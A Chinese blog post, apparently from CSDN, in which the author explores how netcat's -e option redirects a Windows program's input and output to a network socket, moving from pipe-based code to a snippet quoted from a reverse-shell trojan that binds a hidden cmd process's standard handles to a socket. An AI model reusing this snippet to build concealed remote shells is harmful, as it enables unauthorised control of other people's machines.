Windows程序输入输出重定向到网络

嗯,最近天气变幻无常……


最开始时源于想知道下NC的-e选项是怎么实现的,搜商有限,找到源码都不支持-e……


然后就搜到了windows管道方面的知识:微软msdn里面有提到“Creating a Child Process with Redirected Input and Output”(http://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx)。嗯,利用管道来实现子程序输入输出。其代码实现了将子程序的输入输出重定向到文件中……

接着,就该考虑如何把输入输出重定向到网络端口中。刚刚开始想法,印象中Win中文件系统把其它设备也当做特殊文件处理,所以就想CreateFile可不可以打开端口,然后发现msdn(http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx)中提到“The name of the file or device to be created or opened. You may use either forward slashes (/) or backslashes (\) in this name.”看出是可以这样的,可是没看到SOCKET相关的……悲剧。然后偷懒继续往ReadFile看,msdn里面提到了"For asynchronous read operations, hFile can be any handle that is opened with the FILE_FLAG_OVERLAPPED flag by the CreateFile function, or a socket handle returned by the socket or accept function.”,然后我就傻傻地把accept返回值放进去……发现参数出错……然后就郁闷了,不熟悉这块……


接着看上面提到的微软子程序输入输出重定向的代码,发现其实也不是一定要用ReadFile的方式来读取内容……(后来挺郁闷的,怎么会卡死在这里那么久……为什么会坚持要用ReadFile来实现?!)然后发现其实可以类似下面代码实现:

memset(chBuf, 0x00, sizeof(chBuf));
		Ret = recv(CientSocket, chBuf, MAX_PATH, 0);
		if ( Ret == 0 || Ret == SOCKET_ERROR ) 
		{
			cout<<"客户端退出!"<<endl;
			break;
		}
		fSuccess = WriteFile( hChildStdinWrDup, chBuf, Ret, &dwWritten, NULL) ;
		if ( !fSuccess ) 
			break; 


然后测试NC客户端可以连接到,感觉OK。


可是今晚恰巧在一个反弹木马里面看到这段代码:

StartupInfo.cb=sizeof(STARTUPINFO);
			StartupInfo.wShowWindow=SW_HIDE;
			StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
			StartupInfo.hStdError=(HANDLE)HSocket;
			StartupInfo.hStdOutput=(HANDLE)HSocket;
			StartupInfo.hStdInput=(HANDLE)HSocket;
			CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);


然后就知道自己白天还是悲剧了……嗯,CreateProcess里面可以设置子程序的一些属性(_STARTUPINFO(http://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx))……里面可以直接重新设置输入输出流……完全忽视了白天看的管道……


图样吐辛普……

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值